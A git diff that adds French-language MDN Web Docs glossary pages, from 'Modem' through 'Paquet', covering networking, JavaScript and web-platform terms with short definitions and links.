diff --git a/files/fr/glossary/modem/index.html b/files/fr/glossary/modem/index.html new file mode 100644 index 0000000000..a561d35c74 --- /dev/null +++ b/files/fr/glossary/modem/index.html @@ -0,0 +1,20 @@ +--- +title: Modem +slug: Glossaire/Modem +tags: + - Débutant + - Glossaire + - Infrastructure +translation_of: Glossary/Modem +--- +

Un modem ("modulateur-démodulateur") est un appareil qui convertit les informations  numériques en informations analogiques et vice-versa, pour l'envoi de données à travers les réseaux. Différents types sont utilisés pour différents réseaux : des modems DSL pour les fils téléphoniques, des modems WiFi pour les ondes radio de courte portée, des modems 3G pour les tours de données cellulaires, etc.

+ +

Les modems sont différents des {{Glossary("Router","routeurs")}}, mais de nombreuses entreprises vendent des modems combinés avec des routeurs.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Modem")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/modern_web_apps/index.html b/files/fr/glossary/modern_web_apps/index.html new file mode 100644 index 0000000000..fcf21a04cf --- /dev/null +++ b/files/fr/glossary/modern_web_apps/index.html @@ -0,0 +1,9 @@ +--- +title: Applications web modernes +slug: Glossaire/applications_web_modernes +tags: + - Applications + - Glossaire +translation_of: Glossary/Modern_web_apps +--- +

Voir {{glossary("Progressive web apps","Applications web progressistes")}}

diff --git a/files/fr/glossary/modularity/index.html b/files/fr/glossary/modularity/index.html new file mode 100644 index 0000000000..adc14648d9 --- /dev/null +++ b/files/fr/glossary/modularity/index.html @@ -0,0 +1,15 @@ +--- +title: Modularité +slug: Glossaire/modularité +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/modularity +--- +

Le terme Modularité se réfère au degré qu'ont les composants d'un système à être séparés et recombinés, il s'agit également de la division d'un paquet logiciel en unités logiques. L'avantage d'un système modulaire est qu'il peut traiter ses composants de manière indépendante.

+ +

Pour approfondir

+ +
    +
  • {{Interwiki("wikipedia","Programmation modulaire","Modularité")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/mozilla_firefox/index.html b/files/fr/glossary/mozilla_firefox/index.html new file mode 100644 index 0000000000..3e2e370324 --- /dev/null +++ b/files/fr/glossary/mozilla_firefox/index.html @@ -0,0 +1,29 @@ +--- +title: Mozilla Firefox +slug: Glossaire/Mozilla_Firefox +tags: + - Firefox + - Glossaire + - Infrastructure + - Mozilla + - Mozilla Firefox + - Navigateur +translation_of: Glossary/Mozilla_Firefox +--- +

Mozilla Firefox est un {{Glossary("navigateur")}} open source libre dont le développement est supervisé par Mozilla Corporation. Firefox fonctionne sur Windows, OS X, Linux, et Android.

+ +

Distribué pour la première fois en novembre 2004, Firefox est entièrement personnalisable grâce à des thèmes, plug-ins, et modules.  Firefox utilise {{glossary("Gecko")}} pour réaliser l'affichage des pages web, et implémente aussi bien les normes Web actuelles que celles à venir.

+ +

Pour en savoir plus

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/mutable/index.html b/files/fr/glossary/mutable/index.html new file mode 100644 index 0000000000..b35d191a8a --- /dev/null +++ b/files/fr/glossary/mutable/index.html @@ -0,0 +1,47 @@ +--- +title: Muable +slug: Glossaire/Muable +tags: + - Débutant + - Glossaire + - Variables +translation_of: Glossary/Mutable +--- +

Une variable muable (mutable) est une variable qui peut être modifiée. En {{glossary("JavaScript")}}, seuls les {{Glossary("Object","objets")}} et {{Glossary("Array","tableaux")}} (arrays) sont muables, pas {{Glossary("primitive", "les valeurs primitives")}}.

+ +

(Vous pouvez faire pointer un nom de variable vers une nouvelle valeur, mais la valeur précédente est toujours conservée en mémoire. D'où le besoin de nettoyage.)

+ +

Un objet muable est un objet dont l'état peut être modifié après sa création.

+ +

Les objets immuables (immutable) sont des objets dont l'état ne peut être modifié une fois l'objet créé.

+ +

Chaînes de caractères et nombres sont immuables. Un exemple pour bien comprendre :

+ +
var immutableString = "Hello";
+
+// Dans le code ci-dessus, un nouvel objet avec une valeur chaîne de caractère est créé.
+
+immutableString = immutableString + "World";
+
+// Nous ajoutons "World" à la valeur existante.
+
+ +

En ajoutant la variable "immutableString" avec une valeur de chaîne, les événements suivants se produisent :

+ +
    +
  1. La valeur existante de la variable "immutableString" est récupérée
    2. +
  2. "World" est ajouté à la valeur existante de "immutableString"
    3. +
  3. La valeur résultante est alors allouée à un nouveau bloc de mémoire
    4. +
  4. L'objet "immutableString" pointe maintenant vers le nouvel espace mémoire créé
    5. +
  5. L'ancien espace mémoire est maintenant disponible pour la récupération de place (nettoyage).
    6. +
+ +

 

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Objet_immuable")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/mvc/index.html b/files/fr/glossary/mvc/index.html new file mode 100644 index 0000000000..590a043bb8 --- /dev/null +++ b/files/fr/glossary/mvc/index.html @@ -0,0 +1,32 @@ +--- +title: MVC +slug: Glossaire/MVC +tags: + - Conception + - Glossaire + - Logiciel +translation_of: Glossary/MVC +--- +

MVC (Model-View-Controller ou Modèle-Vue-Contrôleur) est un modèle dans la conception de logiciels. Il met l'accent sur la séparation entre la logique métier et l'affichage du logiciel. Cette «séparation des préoccupations» permet une meilleure répartition du travail et une maintenance améliorée. Certains autres modèles de conception sont basés sur MVC, tels que MVVM (Model-View-Viewmodel), MTP (Model-View-Presenter) et MVW (Model-View-Whatever).

+ +

Les 3 parties du modèle de conception de logiciel MVC peuvent être décrites comme suit :

+ +
    +
  1. Model (modèle) : gère les données et la logique métier.
    2. +
  2. View (vue) : gère la disposition et l'affichage.
    3. +
  3. Controller (contrôleur) : achemine les commandes des parties "model" et "view".
    4. +
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Modèle-vue-contrôleur")}} sur Wikipedia
    • +
+ +

Apprentissage de MVC

+ + diff --git a/files/fr/glossary/namespace/index.html b/files/fr/glossary/namespace/index.html new file mode 100644 index 0000000000..18606c6d32 --- /dev/null +++ b/files/fr/glossary/namespace/index.html @@ -0,0 +1,18 @@ +--- +title: Namespace +slug: Glossaire/Namespace +tags: + - Glossary +translation_of: Glossary/Namespace +--- +

Un espace de nom (en anglais : Namespace) est un contexte qui permet d'identifier et grouper un ensemble logique d'éléments utilisés par un programme. Dans un même contexte et une même portée (scope), un identifiant doit identifier une entité de manière unique.

+ +

Dans un système d'exploitation, un dossier est un namespace. Chaque fichier ou sous-dossier a un nom unique mais pouvant être réutilisé à un autre niveau d'arborescence. 

+ +

En savoir plus

+ +

Connaissance générale

+ +
    +
  • {{Interwiki("wikipedia", "Namespace")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/nan/index.html b/files/fr/glossary/nan/index.html new file mode 100644 index 0000000000..fc42a39015 --- /dev/null +++ b/files/fr/glossary/nan/index.html @@ -0,0 +1,27 @@ +--- +title: NaN +slug: Glossaire/NaN +tags: + - Encodage + - Glossaire +translation_of: Glossary/NaN +--- +

NaN (Not a Number — pas un nombre) est un {{Glossary("Type", "type de données")}} numérique qui indique une valeur indéfinie ou une valeur qui ne peut pas être représentée, en particulier le résultat d'une opération à virgule flottante.

+ +

Par exemple, NaN peut représenter une valeur infinie, le résultat d'une division par zéro, la racine carrée d'un nombre négatif (qui est un nombre imaginaire, tandis que les nombres à virgule flottante sont des nombres réels).

+ +

Dans la pratique, si l'on divise deux variables dans un programme {{glossary("JavaScript")}}, le résultat peut être NaN, qui est prédéfini dans JavaScript comme "{{glossary("undefined")}}". Ainsi, cette division peut casser le programme. Cela signifie que si ce calcul était une petite partie d'un algorithme nettement plus gros, il serait compliqué de localiser où se trouve l'erreur. Heureusement, comme le résultat sera NaN, et que nous savons que notre diviseur pourrait être 0, il est possible de mettre en place des tests qui préviendront ce genre de calcul ou informeront que ceux-ci ont eu lieu.

+ +

Pour approfondir

+ +

Connaissances générales

+ +
    +
  • {{Interwiki("wikipedia", "NaN")}} sur Wikipedia
    • +
+ +

Informations techniques

+ + diff --git a/files/fr/glossary/nat/index.html b/files/fr/glossary/nat/index.html new file mode 100644 index 0000000000..02c9028eca --- /dev/null +++ b/files/fr/glossary/nat/index.html @@ -0,0 +1,21 @@ +--- +title: NAT +slug: Glossaire/NAT +tags: + - Débutant + - Glossaire + - Infrastructure + - Mécanismes web + - WebRTC +translation_of: Glossary/NAT +--- +

NAT (Network Address Translation) est une technique pour permettre à plusieurs ordinateurs de partager une adresse IP. Le NAT attribue des adresses uniques aux ordinateurs du réseau local et ajuste le trafic réseau entrant/sortant pour envoyer les données au bon endroit.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/native/index.html b/files/fr/glossary/native/index.html new file mode 100644 index 0000000000..acaf7619c4 --- /dev/null +++ b/files/fr/glossary/native/index.html @@ -0,0 +1,21 @@ +--- +title: Native +slug: Glossaire/Native +tags: + - Glossaire + - Programmation +translation_of: Glossary/Native +--- +

Une application native a été compilée pour s'exécuter sur la combinaison logiciel-matériel habituelle de l'architecture cible.

+ +

Un exemple d'application Android native serait une application mobile écrite en Java avec la chaîne d'outils Android.

+ +

À l'inverse, une application web qui s'exécute dans un navigateur n'est pas native : elle est exécutée dans le navigateur web, qui se trouve au-dessus de l'environnement natif, et non dans l'environnement natif lui-même.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Code natif")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/navigation_directive/index.html b/files/fr/glossary/navigation_directive/index.html new file mode 100644 index 0000000000..132871db0b --- /dev/null +++ b/files/fr/glossary/navigation_directive/index.html @@ -0,0 +1,35 @@ +--- +title: Directive de navigation +slug: Glossaire/Directive_de_navigation +tags: + - CSP + - Glossaire + - Sécurité +translation_of: Glossary/Navigation_directive +--- +

Les directives de navigation {{Glossary("CSP")}} sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et régissent l'emplacement sur lequel un utilisateur peut naviguer ou envoyer un formulaire, par exemple.

+ +

Les directives de navigation ne reviennent pas à la directive {{CSP("default-src")}}.

+ +

Ces directives CSP sont :

+ +
    +
  • {{CSP("form-action")}}
    • +
  • {{CSP("frame-ancestors")}}
    • +
  • {{CSP("navigation-to")}}
    • +
+ +
+

En apprendre plus

+ +
    +
  • {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}}
    • +
  • Autres types de directives: +
      +
    • {{Glossary("Fetch directive" ,"Directive de récupération")}}
      • +
    • {{Glossary("Document directive","Directive de document")}}
      • +
    • {{Glossary("Reporting directive" ,"Directive de rapport")}}
      • +
    +
    • +
+
diff --git a/files/fr/glossary/netscape_navigator/index.html b/files/fr/glossary/netscape_navigator/index.html new file mode 100644 index 0000000000..6049ba3964 --- /dev/null +++ b/files/fr/glossary/netscape_navigator/index.html @@ -0,0 +1,24 @@ +--- +title: Netscape Navigator +slug: Glossaire/Netscape_Navigator +tags: + - Glossaire + - Navigateur + - Navigation + - Netscape + - Netscape Navigator +translation_of: Glossary/Netscape_Navigator +--- +

Netscape Navigator, ou Netscape, était le principal {{glossary("navigateur")}} des années 90. Il était basé sur Mosaic et l'équipe de Netscape était dirigée par Marc Andreessen, un programmeur qui a également écrit du code pour Mosaic.

+ +

Netscape a contribué à rendre l'expérience {{glossary("World Wide Web","Web")}} graphique plutôt que texte uniquement. Beaucoup de fonctionnalités de navigation sont devenues des standards après avoir été introduites par Netscape. Le navigateur pouvait afficher une page web pendant son chargement, utiliser JavaScript pour les formulaires et rendre du contenu interactif, et enregistrer des informations de session dans des cookies. Malgré ses avantages techniques et sa prédominance initiale, {{glossary("Microsoft Internet Explorer", "Internet Explorer")}} l'a rapidement dépassé en terme de parts de marché vers la fin des années 90.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Netscape Navigator")}} sur Wikipédia
    • +
+ +

 

diff --git a/files/fr/glossary/nntp/index.html b/files/fr/glossary/nntp/index.html new file mode 100644 index 0000000000..085a6a7992 --- /dev/null +++ b/files/fr/glossary/nntp/index.html @@ -0,0 +1,23 @@ +--- +title: NNTP +slug: Glossaire/NNTP +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/NNTP +--- +

NNTP (Network News Transfer Protocol) est un {{Glossary("Protocol","protocole")}} utilisé pour transférer des messages {{Glossary("Usenet")}} d'un client vers un serveur ou entre serveurs.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Network_News_Transfer_Protocol", "NNTP")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/node.js/index.html b/files/fr/glossary/node.js/index.html new file mode 100644 index 0000000000..d087a3262a --- /dev/null +++ b/files/fr/glossary/node.js/index.html @@ -0,0 +1,28 @@ +--- +title: Node.js +slug: Glossaire/Node.js +tags: + - Glossaire + - Infrastructure + - JavaScript +translation_of: Glossary/Node.js +--- +

Node.js est un environnement {{Glossary("JavaScript")}} multiplateforme qui permet aux développeurs de créer des applications réseaux et côté serveur en utilisant JavaScript. 

+ +

Pour en savoir plus

+ +

Connaissances générales

+ + + +

Informations techniques

+ + + +

 

diff --git a/files/fr/glossary/node/networking/index.html b/files/fr/glossary/node/networking/index.html new file mode 100644 index 0000000000..4cb4be5f73 --- /dev/null +++ b/files/fr/glossary/node/networking/index.html @@ -0,0 +1,17 @@ +--- +title: Nœud (réseau) +slug: Glossary/Node/réseau +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/Node/networking +--- +

Dans un réseau, un nœud est un point unique du réseau. Dans les réseaux physiques, un nœud est en général un appareil, comme un ordinateur ou un routeur.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Nœud (réseau)", "Nœud")}} sur Wikipédia
    • +
diff --git "a/files/fr/glossary/node/r\303\251seau/index.html" "b/files/fr/glossary/node/r\303\251seau/index.html" deleted file mode 100644 index 4cb4be5f73..0000000000 --- "a/files/fr/glossary/node/r\303\251seau/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Nœud (réseau) -slug: Glossary/Node/réseau -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/Node/networking ---- -

Dans un réseau, un nœud est un point unique du réseau. Dans les réseaux physiques, un nœud est en général un appareil, comme un ordinateur ou un routeur.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Nœud (réseau)", "Nœud")}} sur Wikipédia
    • -
diff --git a/files/fr/glossary/non-normative/index.html b/files/fr/glossary/non-normative/index.html new file mode 100644 index 0000000000..725b838c3f --- /dev/null +++ b/files/fr/glossary/non-normative/index.html @@ -0,0 +1,17 @@ +--- +title: non-normatif +slug: Glossaire/non-normative +tags: + - Glossaire + - Infrastructure + - Specification + - Standardisation +translation_of: Glossary/non-normative +--- +

Les {{Glossary("Specification","spécifications")}} logicielles contiennent souvent des informations marquées comme non normatives ou informatives, ce qui signifie qu'elles sont fournies dans le but d'aider le lecteur à mieux comprendre la spécification ou pour montrer un exemple ou une bonne pratique, et qu'il n'est pas nécessaire de les suivre comme une règle. Les sections qui contiennent les informations officielles à respecter sont souvent marquées comme {{Glossary("Normative", "normatives")}}.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/normative/index.html b/files/fr/glossary/normative/index.html new file mode 100644 index 0000000000..5d9c587333 --- /dev/null +++ b/files/fr/glossary/normative/index.html @@ -0,0 +1,17 @@ +--- +title: Normatif +slug: Glossaire/Normative +tags: + - Glossaire + - Infrastructure + - Spécification(2) + - Standardisation +translation_of: Glossary/Normative +--- +

Normatif est un mot communément utilisé dans des {{Glossary("spécification", "spécifications")}} logicielles pour désigner les sections qui sont standardisées et qui doivent être suivies comme des règles. Les spécifications peuvent également contenir des sections marquées {{Glossary("non-normative","non normatives")}} ou informatives, ce qui signifie qu'elles sont données dans le but d'aider le lecteur à mieux comprendre les spécifications ou pour apporter un exemple concret ou de bonnes pratiques, qui n'ont pas à être suivis comme une règle.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/null/index.html b/files/fr/glossary/null/index.html new file mode 100644 index 0000000000..b988a26b36 --- /dev/null +++ b/files/fr/glossary/null/index.html @@ -0,0 +1,26 @@ +--- +title: 'Null' +slug: Glossaire/Null +tags: + - CodingScripting + - Glossaire +translation_of: Glossary/Null +--- +

En informatique, une valeur null représente une référence qui pointe, en général de manière volontaire, vers un {{glossary("objet")}} ou une adresse invalide ou inexistant. La signification d'une référence nulle varie selon les implémentations des langages.

+ +

En {{Glossary("JavaScript")}}, null est l'une des {{Glossary("Primitive", "valeurs primitives")}}.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Null")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/number/index.html b/files/fr/glossary/number/index.html new file mode 100644 index 0000000000..1f3bcd7fbf --- /dev/null +++ b/files/fr/glossary/number/index.html @@ -0,0 +1,27 @@ +--- +title: Number +slug: Glossaire/Number +tags: + - CodingScripting + - Glossaire + - JavaScript +translation_of: Glossary/Number +--- +

En {{Glossary("JavaScript")}}, Number est un type de donnée numérique dans le format à virgule flottante double précision 64 bits (IEEE 754). Dans d'autres langages de programmation, différents types numériques peuvent exister, par exemple : Integers, Floats, Doubles, ou Bignums.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • +

    {{Interwiki("wikipedia", "Type_(informatique)#Types_prédéfinis", "Types numériques")}} sur Wikipédia

    +
    • +
+ +

Référence technique

+ +
    +
  • La structure de donnée JavaScript : Number
    • +
  • L'objet global JavaScript {{jsxref("Number")}}
    • +
diff --git a/files/fr/glossary/object/index.html b/files/fr/glossary/object/index.html new file mode 100644 index 0000000000..88fecc0713 --- /dev/null +++ b/files/fr/glossary/object/index.html @@ -0,0 +1,21 @@ +--- +title: Objet +slug: Glossaire/Objet +tags: + - Glossaire + - Intro + - Objet + - Programmation +translation_of: Glossary/Object +--- +

Un Objet est une structure contenant des données et des instructions en rapport avec ces données. Un Objet correspond parfois à des choses du monde réel, par exemple à une voiture ou à une piste dans un jeu vidéo de course. {{glossary("JavaScript")}}, Java, C++, Python et Ruby sont des exemples de langages de {{glossary("OOP","programmation orientée objet")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/object_reference/index.html b/files/fr/glossary/object_reference/index.html new file mode 100644 index 0000000000..bb4d509357 --- /dev/null +++ b/files/fr/glossary/object_reference/index.html @@ -0,0 +1,19 @@ +--- +title: Référence d'objet +slug: Glossaire/Référence_d_objet +tags: + - Glossaire + - Programmation +translation_of: Glossary/Object_reference +--- +

Un lien vers un {{glossary("objet")}}. Les références d'objet peuvent s'utiliser exactement comme des objets liés.

+ +

Le concept de références d'objet apparaît lors de l'affectation d'un même objet à plus d'une {{glossary("Property","propriété")}}. Plutôt que de conserver une copie de l'objet, chacune des propriétés affectées contient la référence d'objet qui est un lien vers un même objet. Ainsi, lors de modifications de l'objet, toutes les propriétés y faisant référence reflèteront la modification.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Référence (programmation)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/oop/index.html b/files/fr/glossary/oop/index.html new file mode 100644 index 0000000000..7ea79f6c83 --- /dev/null +++ b/files/fr/glossary/oop/index.html @@ -0,0 +1,21 @@ +--- +title: POO +slug: Glossaire/POO +tags: + - Débutant + - Glossaire + - Script +translation_of: Glossary/OOP +--- +

La POO (Programmation Orientée Objet) est un paradigme de programmation qui consiste à encapsuler les données et les traitements en relation avec ces données dans des {{glossary("object","objets")}}. Les algorithmes consistent alors à orchestrer les opérations sur ces objets et non plus sur ce qui les compose.

+ +

Le langage {{glossary("JavaScript")}} est massivement orienté objet. Il suit un modèle basé sur le prototypage (contrairement au modèle de classes).

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/opengl/index.html b/files/fr/glossary/opengl/index.html new file mode 100644 index 0000000000..96a5d72e32 --- /dev/null +++ b/files/fr/glossary/opengl/index.html @@ -0,0 +1,18 @@ +--- +title: OpenGL +slug: Glossaire/OpenGL +tags: + - Glossaire + - OpenGL + - Programmation +translation_of: Glossary/OpenGL +--- +

OpenGL (Open Graphics Library) est une interface de programmation d'application (API) multi-plateforme et un langage pour le rendu de graphismes vectoriels 2D et 3D. L'API est typiquement utilisée pour interagir avec un processeur graphique (ou GPU, graphics processing unit) pour que le rendu soit accéléré par le matériel.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "OpenGL")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/openssl/index.html b/files/fr/glossary/openssl/index.html new file mode 100644 index 0000000000..e14e93385c --- /dev/null +++ b/files/fr/glossary/openssl/index.html @@ -0,0 +1,18 @@ +--- +title: OpenSSL +slug: Glossaire/OpenSSL +tags: + - Glossaire + - Sécurité +translation_of: Glossary/OpenSSL +--- +

OpenSSL est une implémentation open source de {{glossary("SSL")}} et de {{glossary("TLS")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/opera_browser/index.html b/files/fr/glossary/opera_browser/index.html new file mode 100644 index 0000000000..c13afeeae9 --- /dev/null +++ b/files/fr/glossary/opera_browser/index.html @@ -0,0 +1,21 @@ +--- +title: Navigateur Opera +slug: Glossaire/Opera_Browser +tags: + - Glossaire + - Navigateur + - Navigateur Opera + - Navigation + - Opera +translation_of: Glossary/Opera_Browser +--- +

Opera est le cinquième {{glossary("navigateur")}} web le plus utilisé, distribué publiquement en 1996 et ne fonctionnant à l'origine que sur Windows. Opera utilise {{glossary("Blink")}} comme moteur de rendu depuis 2013 (avant cette date, il s'agissait de {{glossary("Presto")}}). Opera existe également en versions tablette et mobile.

+ +

En savoir plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/operand/index.html b/files/fr/glossary/operand/index.html new file mode 100644 index 0000000000..f401dfe0c5 --- /dev/null +++ b/files/fr/glossary/operand/index.html @@ -0,0 +1,15 @@ +--- +title: Opérande +slug: Glossaire/Operand +tags: + - Encodage + - Glossaire +translation_of: Glossary/Operand +--- +

Un opérande est la partie d'une instruction qui représente la donnée manipulée par l'{{glossary("Operator","opérateur")}}. Par exemple, lors de l'ajout de deux nombres, les nombres sont les opérandes et "+" est l'opérateur.

+ +

Pour en savoir plus

+ +
    +
  • {{Interwiki("wikipedia", "Opérande")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/operator/index.html b/files/fr/glossary/operator/index.html new file mode 100644 index 0000000000..9b0496e837 --- /dev/null +++ b/files/fr/glossary/operator/index.html @@ -0,0 +1,23 @@ +--- +title: Opérateur +slug: Glossaire/Operator +tags: + - Glossaire + - Programmation +translation_of: Glossary/Operator +--- +

Syntaxe réservée constituée de caractères alphanumériques ou de ponctuation apportant des fonctionnalités intégrées.  Par exemple, "+" représente l'opérateur d'addition de nombres et de concatenation de chaînes de caractères, alors que l'opération "non", "!", est la négation d'une expression — par exemple, une déclaration vraie returnera false.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Opérateur (informatique)")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/origin/index.html b/files/fr/glossary/origin/index.html new file mode 100644 index 0000000000..751adb267d --- /dev/null +++ b/files/fr/glossary/origin/index.html @@ -0,0 +1,58 @@ +--- +title: Origine +slug: Glossaire/Origine +tags: + - Glossaire + - Mécanismes web + - origine +translation_of: Glossary/Origin +--- +

Résumé

+ +

L'origine d'une application web est définie par le schéma (protocole), l'hôte (domaine) et le port de l'{{Glossary("URL")}} utilisée pour y accéder. Deux objets ont la même origine seulement quand le schéma, l'hôte et le port correspondent.

+ +

Quelques opérations sont limitées au contenu de même origine, et cette restriction peut être levée avec CORS.

+ +

Exemples de même origine

+ + + + + + + + + + + + +
http://example.com/app1/index.html
+ http://example.com/app2/index.html		même origine parce que même schéma (http) et même hôte (example.com)
http://Example.com:80
+ http://example.com		même origine parce que un serveur délivre du contenu HTTP via le port 80 par défaut
+ +

Exemples d'origines différentes

+ + + + + + + + + + + + + + + + +
http://example.com/app1
+ https://example.com/app2		Schémas différents
http://example.com
+ http://www.example.com
+ http://myapp.example.com		Hôtes différents
http://example.com
+ http://example.com:8080		Ports différents
+ +

Pour en savoir plus

+ +

Voir Same-origin policy (politique de même origine) pour plus d'informations.

diff --git a/files/fr/glossary/ota/index.html b/files/fr/glossary/ota/index.html new file mode 100644 index 0000000000..db26b69588 --- /dev/null +++ b/files/fr/glossary/ota/index.html @@ -0,0 +1,19 @@ +--- +title: OTA +slug: Glossaire/OTA +tags: + - Glossaire + - Infrastructure + - Introduction + - Mise à jour + - OTA +translation_of: Glossary/OTA +--- +

Over The Air (OTA) se réfère à un système de mise à jour automatique sur des appareils connectés à un serveur central. Tous les propriétaires d'un appareil qui vont recevoir des instructions d'"update" (mise à jour) sont sur le même canal, et chaque appareil a souvent accès à plusieurs canaux (ex : pour les outils production ou ingénieur)

+ +

En savoir plus

+ + diff --git a/files/fr/glossary/owasp/index.html b/files/fr/glossary/owasp/index.html new file mode 100644 index 0000000000..dc155c1a58 --- /dev/null +++ b/files/fr/glossary/owasp/index.html @@ -0,0 +1,17 @@ +--- +title: OWASP +slug: Glossaire/OWASP +tags: + - Glossaire + - Sécurité +translation_of: Glossary/OWASP +--- +

OWASP (Open Web Application Security Project) est une organisation à but non lucratif et un réseau mondial qui travaille sur la sécurité des logiciels libres, en particulier sur le Web.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/p2p/index.html b/files/fr/glossary/p2p/index.html new file mode 100644 index 0000000000..0e8769c6b9 --- /dev/null +++ b/files/fr/glossary/p2p/index.html @@ -0,0 +1,14 @@ +--- +title: P2P +slug: Glossaire/P2P +translation_of: Glossary/P2P +--- +

P2P (Peer-to-peer ou pair à pair) est une architecture réseau dans laquelle tous les ordinateurs, appelés nœuds (peers), ont autant de privilèges et se partagent la charge de travail. Le P2P diffère d'une architecture client-serveur dans laquelle plusieurs clients (nœuds) se connectent à un serveur centralisé pour utiliser des services.

+ +

Pour en savoir plus

+ +

Connaissances générales

+ +
    +
  • P2P sur Wikipédia
    • +
diff --git a/files/fr/glossary/pac/index.html b/files/fr/glossary/pac/index.html new file mode 100644 index 0000000000..5784cf550a --- /dev/null +++ b/files/fr/glossary/pac/index.html @@ -0,0 +1,31 @@ +--- +title: PAC +slug: Glossaire/PAC +tags: + - Glossaire + - Programmation +translation_of: Glossary/PAC +--- +

Un fichier Proxy Auto-Configuration (PAC) est un fichier qui contient une fonction FindProxyForURL() laquelle est utilisée par le navigateur pour déterminer  si les requêtes (y compris HTTP, HTTPS et FTP) doivent être envoyées directement à la destination, ou si elles doivent être transmises via un serveur proxy Web.

+ +
function FindProxyForURL(url, host) {
+  /* ... */
+}
+
+ret = FindProxyForURL(url, host)
+ +

Voir fichier Proxy Auto-Configuration (PAC)  pour plus de détails sur la façon de les utiliser et d'en créer de nouveaux.

+ +

Pour approfondirEdit

+ +

Culture générale

+ +
    +
  • PAC sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/packet/index.html b/files/fr/glossary/packet/index.html new file mode 100644 index 0000000000..9f6b19625e --- /dev/null +++ b/files/fr/glossary/packet/index.html @@ -0,0 +1,49 @@ +--- +title: Paquet +slug: Glossaire/Paquet +tags: + - Glossaire + - Paquet + - Paquet réseau + - Performance Web + - Reference + - TCP + - charge utile + - payload +translation_of: Glossary/Packet +--- +

Un paquet, ou paquet réseau, est un bloc de données formaté envoyé sur un réseau. Les principaux composants d'un paquet réseau sont les données utilisateur et les informations de contrôle. Les données utilisateur sont appelées payload ou charge utile. Les informations de contrôle sont les informations de livraison du payload. Il se compose d'adresses réseau pour la source et la destination, des informations de séquencement et des codes de détection d'erreur et se trouve généralement dans les en-têtes et le pied de page des paquets.

+ +

Ce qu'un paquet contient

+ +

Limite de saut

+ +

Un saut se produit lorsqu'un paquet est passé d'un réseau au réseau suivant. C'est un champ qui diminue de un à chaque fois qu'un paquet passe, une fois qu'il atteint 0, il a échoué et le paquet est rejeté.

+ +

Au fil du temps, le nombre de paquets peut provoquer une traversée dans des circuits fermés, le nombre de paniers en circulation s'accumulerait et conduirait finalement à l'échec du réseau.

+ +

Détection et correction des erreurs

+ +

La détection et la correction d'erreurs sont ds codes utilisés pour détecter et appliquer des corrections aux erreurs qui se produisent lorsque les données sont transmises au récepteur. Il existe deux types de corrections d'erreurs en amont et en aval. La correction d'erreur vers l'arrière est lorsque le récepteur demande à l'expéditeur de retransmettre l'unité de données entière. La correction d'erreur directe est lorsque le récepteur utilise le code de correction d'erreur qui corrige automatiquement les erreurs.

+ +

Au niveau de l'émetteur, le calcul est effectué avant l'envoi du paquet. Lorsqu'elle est reçue à la destination, la somme de contrôle est recalculée et comparée à celle du paquet.

+ +

Priorité

+ +

Ce champ indique quel paquet doit avoir une priorité plus élevée sur les autres. La file d'attente de priorité élevée est vidée plus rapidement que les files d'attente de priorité inférieure lorsque le réseau est congestionné.

+ +

Adresses

+ +

Lors du routage de paquets réseau, deux adresses réseau sont nécessaires: l'adresse source de l'hôte émetteur et l'adresse de destination de l'hôte récepteur.

+ +

Données utilisateur - Payload

+ +

Le payload correspond aux données transportées pour le compte d'une application. Il est généralement de longueur variable, jusqu'à un maximum qui est fixé par le protocole réseau et parfois l'équipement sur l'itinéraire.

+ +

Références utilisées

